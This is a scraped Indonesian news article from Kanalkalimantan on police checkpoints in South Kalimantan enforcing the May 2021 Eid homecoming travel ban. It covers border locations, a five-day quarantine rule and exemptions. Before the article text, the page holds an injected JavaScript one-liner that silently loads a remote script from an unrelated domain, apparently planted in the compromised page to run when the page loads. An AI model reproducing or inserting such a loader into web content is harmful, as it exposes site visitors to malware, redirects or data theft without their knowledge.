(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, BANJARMASIN– Larangan mudik ditindaklanjuti jajaran Polda Kalsel bersama aparat terkait melakukan penyekatan arus kendaraan di sejumlah lokasi. Langkah tersebut terutama untuk membatasi pergerakan massa menjelang Idul Fitri.
Kapolda Kalsel Irjen Rikwanto mengatakan, sejumlah titik penyekatan yang telah ditetapkan akan dijaga secara bergantian.
“Ada sejumlah titik pos cek poin penyekatan yang telah ditetapkan. Di antaranya di Kabupaten Barito Kuala perbatasan dengan Kabupaten Kapuas, Kalimantan Tengah. Lalu di Kecamatan Paminggir Kabupaten Hulu Sungai Utara di perbatasan Jenamas, Kabupaten Barito Selatan, Kalimantan Tengah. Kemudian di Kabupaten Tabalong dua titik yaitu Kecamatan Kelua perbatasan Kalimantan Tengah dan Kecamatan Jaro dengan Kalimantan Timur,” katanya.
Selain itu, titik penyekatan juga akan ditempatkan di Desa Sengayam, Kabupaten Kotabaru perbatasan dengan Kalimantan Timur serta di Kecamatan Binuang, Kabupaten Tapin perbatasan dengan Kabupaten Banjar.
Baca juga : Walhi dan Kelompok Pecinta Lingkungan Pertanyakan Komitmen Lingkungan di Kalsel
“Untuk perbatasan dalam provinsi yaitu Tapin dan Kabupaten Banjar kita sekat juga guna mencegah mobilitas pemudik dari Banjarmasin dan sekitarnya ke arah Hulu Sungai,” tambah Irjen Rikwanto dilansir antara.
Meski demikian, Rikwanto tetap mengingatkan petugas di lapangan untuk mengedepankan sikap humanis dalam operasi larangan mudik terhitung sejak 6-17 Mei 2021.
“Jika ada yang terlanjur telah masuk Kalsel maka kebijakannya wajib karantina lima hari. Kalau aman maka dipersilahkan beraktivitas seperti biasa. Pengeculian diperuntukkan jika dilengkapi dokumen izin perjalanan tertentu dan surat sehat bebas Covid-19,” terangnya.
Sementara wilayah yang termasuk aglomerasi yang diizinkan mobilitas selama momen Lebaran, yakni Kota Banjarmasin, Kota Banjarbaru dan Kota Martapura.
Baca juga : Gubernur Kalteng Minta Forkompinda Awasi Perjalanan Orang Masuk Kalteng
Kapolres Banjarbaru AKBP Doni Hadi Santoso melalui Kasatlantas Iptu Riyanda Putra Utama mengatakan juga telah menyiapkan beberapa lokasi penyekatan pemudik. Di antaranya di Bundaran Simpang Empat Banjarbaru, di Bundaran Simpang Tiga pos Bandar Udara Syamsudin Noor, di simpang tiga Liang Anggang, dan Km 20 Bundaran Liang Anggang, simpang 4 Karang Anyar Amaco, dan simpang Empat Banjarbaru.
“Untuk penyekatan di lokasi arus mudik ini kami bekerja sama dengan TNI, dan dinas terkait di Pemko Banjarbaru,” kata Iptu Riyanda. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.